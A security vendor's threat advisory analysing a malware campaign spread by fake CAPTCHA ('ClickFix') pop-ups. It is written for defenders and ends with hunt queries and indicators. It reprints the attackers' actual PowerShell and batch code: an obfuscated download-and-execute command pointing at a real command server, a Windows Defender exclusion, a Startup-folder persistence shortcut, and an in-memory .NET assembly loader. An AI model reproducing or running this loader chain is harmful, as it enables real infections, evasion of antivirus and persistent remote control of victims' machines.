Threat Advisory: LightPerlGirl Malware

6/16/25 7:00 AM MDT: This investigation is ongoing. More updates pending.

Quick Facts on LightPerlGirl

  • What is LightPerlGirl? LightPerlGirl is a malware strain that’s being propagated through ClickFix fake CAPTCHA pop-up windows. Its name derives from the copyright signature within the malware itself (Copyright (c) LightPerlGirl 2025), which also features strings written in Russian. The actual origin and full extent of the campaign, however, are unknown at this time.
  • What did Todyl find? Todyl uncovered the malware after detecting anomalous PowerShell scripts running on a partner’s client user’s device which indicated compromise. Our Threat Research, Detection Engineering, and MXDR teams, namely analysts Earnest V and David L, coordinated a response effort to investigate the attack in a controlled setting to determine its effects.
  • How did Todyl prevent the threat? Unfortunately, the affected partner did not have Endpoint Security rolled out to the affected device, which would have prevented the malicious PowerShell script from running. Thanks to Todyl SIEM, however, the MXDR team was able to investigate the attack through PowerShell Script Block logs and promptly isolate the host.

Attack Chain

  1. Initial Compromise: Clickfix Attack
    1. User visits legitimate WordPress website that had previously been compromised, resulting in a drive-by exploit:
      1. This site serves JavaScript to the user that is socially engineered to look like a legitimate security check from services like Cloudflare
      2. The user’s browser executes the JavaScript payload and presents a fake security dialog, falsely claiming to be verifying the user's browser or protecting against DDoS attacks.
    2. Fake CAPTCHA popup tricks user into executing Stage 1 PowerShell command via run window  
    3. User executes obfuscated PowerShell command via Run dialog
  1. Stage 1: Initial PowerShell Execution
    1. Obfuscated PowerShell makes request to C2 server (cmbkz8kz1000108k2carjewzf[.]info)
    2. The PowerShell command uses string splitting to evade detection
    3. Downloads Stage 2 PowerShell script (HelpIO function and related code) from C2 server
    4. Executes downloaded PowerShell script in memory
  1. Stage 2: Multi-Part PowerShell Malware Execution
    1. Part 1: Administrative Access (HelpIO Function)
      1. Attempts to gain administrative privileges through UAC prompt
      2. Creates Windows Defender exclusion for C:\Windows\Temp
      3. Upon success, triggers the next stages (Urex and ExWpL functions)
      4. Launches another PowerShell instance with elevated privileges
    2. Part 2: Persistence Establishment (Urex Function)
      1. Downloads secondary payload (evr.bat) from C2 server
      2. Saves payload to C:\Windows\Temp\LixPay.bat
      3. Creates persistence via shortcut in user's Startup folder
      4. Ensures malware survives system reboots
    3. Part 3: Fileless Payload Execution (ExWpL Function)
      1. Decodes base64-encoded .NET assembly
      2. Uses System.Reflection.Assembly.Load() to load assembly into memory
      3. Gets the assembly's EntryPoint
      4. Executes the malware directly in memory using Reflection
      5. No files written to disk during this process
  1. Post-Exploitation
    1. Loaded malware executes its malicious functionality
    2. Batch file (evr.bat) maintains persistent C2 connection
    3. Attacker has established foothold with persistence and defense evasion

Analysis

A user at a Todyl partner was browsing the Internet, arriving at a specific travel website. Upon entering the site, the user was greeted with a pop-up CAPTCHA window prompting the user to copy a command into their device to verify themselves.

This CAPTCHA was, in fact, a fake ClickFix popup, which led the user to run a PowerShell command on their machine.  

A screenshot of a computerAI-generated content may be incorrect., Picture

The below PowerShell command is the first PowerShell command that is run on the host. It came from the above ClickFix attack, where the user manually executed it. As you can see, it is currently obfuscated.  

"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" —nOp ―w h —C "$rb"l"d30 = 'cmb"k"z"8kz1"0"0"01"0"8k2"ca"rj"ew"z"f.inf"o'; $v"nr"l"01" = Invo"k"e"-"RestM"e"th"o"d -Uri $rb"l"d"3"0; I"nvo"k"e-E"xp"ress"i"o"n $v"n"r"l0"1" 

After getting rid of the obfuscation, it is easier to see what the PowerShell command is doing.

"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" —nOp ―w h —C $rbld30 = 'cmbkz8kz1000108k2carjewzf.info';  

$vnrl01 = Invoke-RestMethod -Uri $rbld30; Invoke-Expression $vnrl01 

The PowerShell command will perform Invoke-RestMethod to go to the C2 domain cmbkz8kz1000108k2carjewzf[.]info. Whatever response the host gets back from the C2 server will then be executed via the PowerShell Invoke-Expression. We can see below, in the very large code block, that this was what was returned for the host to execute next

function HelpIO { 
    while ($true) { 
         
    $command = "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'" 
     
    $proc = Start-Process powershell.exe ` 
        -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `$ErrorActionPreference='Stop'; $command" ` 
        -Verb RunAs ` 
        -PassThru 
         
    $proc.WaitForExit() 
     
    if ($proc.ExitCode -eq 0) { 
        Start-Sleep -Seconds 5 
        Urex 
        ExWpL 
        break 
    } else { 
    } 
} 
} 
  
function Urex { 
    $NQuNye7siPmpfBR2VNAx = "https://cmbkz8kz1000108k2carjewzf.info/evr.bat" 
    $NLis0qGo3P4KrEoK3Gu7 = "C:\Windows\Temp\LixPay.bat" 
    $UCcWSX2E2sJsebg9lcuu = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\LixPay.url" 
  
    Invoke-WebRequest -Uri $NQuNye7siPmpfBR2VNAx -OutFile $NLis0qGo3P4KrEoK3Gu7 
  
    $DsFvoMoXh4IhKT5isgzX = @" 
[InternetShortcut] 
URL=file:///$NLis0qGo3P4KrEoK3Gu7 
"@ 
  
    Set-Content -Path $UCcWSX2E2sJsebg9lcuu -Value $DsFvoMoXh4IhKT5isgzX -Encoding ASCII 
} 
  
function ExWpL { 
  
$part1 = '$local = ' 
$part2 = '"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA..."' 
  
$part3 = '$g7qIQ4y0DY = ' 
$part4 = '[Convert]::FromBase64String($local)' 
  
$part5 = '$zl3zUHPDzY = ' 
$part6 = '[System.Reflection.Assembly]::Load($g7qIQ4y0DY)' 
  
$part7 = '$rF2iz2PBZ8 = ' 
$part8 = '$zl3zUHPDzY.EntryPoint' 
  
$part9 = '$rF2iz2PBZ8.Invoke(' 
$part10 = '$null' 
$part11 = ', ' 
$part12 = '@())' 
  
$riok = $part1 + $part2 + '; ' + $part3 + $part4 + '; ' + $part5 + $part6 + '; ' + $part7 + $part8 + '; ' + $part9 + $part10 + $part11 + $part12 
  
Invoke-Expression $riok 
} 
HelpIO" 

This is the next stage PowerShell script executed on the host.  

PowerShell Function: HelpIO

The main function in the powershell script is called HelpIO. This function does three things.

  • Function HelpIO: Serves as the entry point and attempts to bypass Windows security
  • Function Urex: Establishes persistence and downloads additional payloads
  • Function ExWpL: Loads and executes the fileless malware component

The first part is as follows:

$command = "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'" 
     
    $proc = Start-Process powershell.exe ` 
        -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `$ErrorActionPreference='Stop'; $command" ` 
        -Verb RunAs ` 
        -PassThru 
         
    $proc.WaitForExit() 
     
    if ($proc.ExitCode -eq 0) { 
        Start-Sleep -Seconds 5 
        Urex 
        ExWpL 
        break 
    } else { 
    } 
} 

This part of the script starts off by trying to make an exclusion path for Windows Defender in 'C:\Windows\Temp'. This way Windows Defender won't scan or detect any malicious files in that path.

$command = "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'" 

Next, it starts a new PowerShell process with elevated administrator privileges ('RunAs'). It will then wait for the process that adds the exclusion to complete.

$proc = Start-Process powershell.exe ` 
        -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `$ErrorActionPreference='Stop'; $command" ` 
        -Verb RunAs ` 
        -PassThru 
        
    $proc.WaitForExit() 

Next up, if the previous command was successful, ExitCode 0 means success, it will wait 5 seconds before moving on to the next two steps which are functions Urex and ExWpL. If it failed (e.g., user clicked "No" on the UAC prompt), the loop continues, and it will try again.

if ($proc.ExitCode -eq 0) { 
        Start-Sleep -Seconds 5 
        Urex 
        ExWpL 
        break 
    } else { 
    } 

The second part is as follows:

function Urex { 
    $NQuNye7siPmpfBR2VNAx = "https://cmbkz8kz1000108k2carjewzf.info/evr.bat" 
    $NLis0qGo3P4KrEoK3Gu7 = "C:\Windows\Temp\LixPay.bat" 
    $UCcWSX2E2sJsebg9lcuu = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\LixPay.url" 
  
    Invoke-WebRequest -Uri $NQuNye7siPmpfBR2VNAx -OutFile $NLis0qGo3P4KrEoK3Gu7 
  
    $DsFvoMoXh4IhKT5isgzX = @" 
[InternetShortcut] 
URL=file:///$NLis0qGo3P4KrEoK3Gu7 
"@ 
  
    Set-Content -Path $UCcWSX2E2sJsebg9lcuu -Value $DsFvoMoXh4IhKT5isgzX -Encoding ASCII 
} 

The first thing this function will do is set the variable with the URL path to use, which will download a batch file.

$NQuNye7siPmpfBR2VNAx = "https://cmbkz8kz1000108k2carjewzf.info/evr.bat" 

Then it sets the variable for the download path where it will be saved on the system. Notice the file is saved in the 'C:\Windows\Temp' folder from up above so it will not be detected.

$NLis0qGo3P4KrEoK3Gu7 = "C:\Windows\Temp\LixPay.bat" 

Now it will set the next variable with the path for a shortcut file in the current user's startup folder. This is so that whenever the user logs in, the shortcut runs and executes the LixPay.bat file.

$UCcWSX2E2sJsebg9lcuu = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\LixPay.url" 

Then we have the Invoke-WebRequest command where it first downloads the evr.bat file that is mentioned above and saves it as LixPay.bat in the Temp folder that was excluded from Windows Defender.

Invoke-WebRequest -Uri $NQuNye7siPmpfBR2VNAx -OutFile $NLis0qGo3P4KrEoK3Gu7 

This part of the function creates the content for a .url shortcut file. This shortcut will point to and execute the downloaded LixPay.bat file.

$DsFvoMoXh4IhKT5isgzX = @" 
[InternetShortcut] 
URL=file:///$NLis0qGo3P4KrEoK3Gu7 
"@ 

The last step for function Urex is that it writes the shortcut content to the LixPay.url file in the Startup folder. This makes the malware persistent across reboots. It uses ASCII encoding to help with compatibility.

Set-Content -Path $UCcWSX2E2sJsebg9lcuu -Value $DsFvoMoXh4IhKT5isgzX -Encoding ASCII 

Finally, we come to the third part, the function ExWpL. This function has been shortened some because the base64 encoded content was around 5MB long.

function ExWpL { 
  
$part1 = '$local = ' 
$part2 = '"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA..."' 
  
$part3 = '$g7qIQ4y0DY = ' 
$part4 = '[Convert]::FromBase64String($local)' 
  
$part5 = '$zl3zUHPDzY = ' 
$part6 = '[System.Reflection.Assembly]::Load($g7qIQ4y0DY)' 
  
$part7 = '$rF2iz2PBZ8 = ' 
$part8 = '$zl3zUHPDzY.EntryPoint' 
  
$part9 = '$rF2iz2PBZ8.Invoke(' 
$part10 = '$null' 
$part11 = ', ' 
$part12 = '@())' 
  
$riok = $part1 + $part2 + '; ' + $part3 + $part4 + '; ' + $part5 + $part6 + '; ' + $part7 + $part8 + '; ' + $part9 + $part10 + $part11 + $part12 
  
Invoke-Expression $riok 
} 

This function is a little bit easier to see, and we can walk through it pretty easily.

The main part of what we want to focus on is the variable $riok which gets called at the end via the Invoke-Expression.

$riok = $part1 + $part2 + '; ' + $part3 + $part4 + '; ' + $part5 + $part6 + '; ' + $part7 + $part8 + '; ' + $part9 + $part10 + $part11 + $part12 
  
Invoke-Expression $riok 

A simple replacement of each part of the function and we are now looking at $riok being the command below. But first we need to break down what this command will do.

$riok = $local = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA..."; $g7qIQ4y0DY = [Convert]::FromBase64String($local); $zl3zUHPDzY = [System.Reflection.Assembly]::Load($g7qIQ4y0DY); $rF2iz2PBZ8 = $zl3zUHPDzY.EntryPoint; $rF2iz2PBZ8.Invoke($null, @()) 

For parts 1 and 2 we have the encoded base64 string being set to $local.

$part1 = '$local = ' 
$part2 = '"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA..."' 

Then in parts 3 and 4 it decodes the base64 string into a byte array.

$part3 = '$g7qIQ4y0DY = ' 
$part4 = '[Convert]::FromBase64String($local)' 

With parts 5 and 6 it will load the decoded bytes as a .NET assembly directly into memory, using .NET Reflection to dynamically load and execute the code.

$part5 = '$zl3zUHPDzY = ' 
$part6 = '[System.Reflection.Assembly]::Load($g7qIQ4y0DY)' 

Next, it gets the entry point ("Main" method) of the loaded assembly.

$part7 = '$rF2iz2PBZ8 = ' 
$part8 = '$zl3zUHPDzY.EntryPoint' 

Then the final part will call the entrypoint method.

$part9 = '$rF2iz2PBZ8.Invoke(' 
$part10 = '$null' 
$part11 = ', ' 
$part12 = '@())' 

Execution Flow

When executed, the script follows this sequence:

  • HelpIO function runs in a loop that:
    • Attempts to gain administrative privileges
    • Creates a Windows Defender exclusion for C:\Windows\Temp
    • Once successful, calls the Urex and ExWpL functions
    • Urex function:
      • Downloads a batch file from an external C2 server (cmbkz8kz1000108k2carjewzf.info/evr.bat)
      • Saves it to C:\Windows\Temp\LixPay.bat
      • Creates a shortcut in the Windows Startup folder to ensure persistence
    • ExWpL function:
      • Constructs a malicious PowerShell command through string concatenation
      • Decodes a base64-encoded .NET assembly
      • Loads the assembly directly into memory
      • Executes the assembly's entry point without writing to disk
    • Secondary Payload (evr.bat):
      • Runs PowerShell in hidden mode
      • Contacts the C2 server (cmbkz8kz1000108k2carjewzf.info/?x)
      • Downloads and executes additional commands directly in memory
A screenshot of a computerAI-generated content may be incorrect., Picture
@echo off powershell.exe -NoP -W h -c "$VGP = 'cmbkz8kz1000108k2carjewzf.info/?x'; $qVGe = iNvoKE-rEstMeTHOD -urI $Vgp; INVoKe-eXPREsSION $qVGE" 
A screenshot of a computerAI-generated content may be incorrect., Picture
A screenshot of a computerAI-generated content may be incorrect., Picture
Translation: 
[2025-06-09 17:38:04] [Info] Connecting to 91.92.46.60:4000…
[2025-06-09 17:38:04] [Info] Connection established 91.92.46.60:4000  
[2025-06-09 17:38:06] [ListenForCommands] Starting listening for commands…

How to Address LightPerlGirl

  • NEVER trust a “CAPTCHA” popup asking you to paste anything onto your machine.
  • Todyl recommends adding Endpoint Security to all devices to prevent malicious PowerShell scripts like the one used in this campaign from running on your end user devices.
  • Use the queries, IOCs, etc. below to assist in your own threat hunting efforts.

Hunt queries, IOCs, and more

Hunt Queries

Network Connections

  • source.ip: 146.70.115.0/24 or destination.ip: 146.70.115.0/24
  • source.ip: 91.92.46.0/24 or destination.ip: 91.92.46.0/24  
  • source.ip: 94.74.164.0/24 or destination.ip: 94.74.164.0/24  
  • dns.question.name : "cmbkz8kz1000108k2carjewzf.info”

Powershell Script Execution Logs  

  • event.code : “4104”

Powershell/CMD/Bash Execution Logs  

  • process.name: (powershell.exe or cmd.exe or bash)

IOCs

  • "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\LixPay.url"
  • "C:\Windows\Temp\LixPay.bat"

The Todyl team is working to reverse the malware, as well as other elements of the campaign. We will be detailing the findings in our next blog.

Todyl updates

Sign-up to get the latest from Todyl sent straight to your inbox.
OSZAR »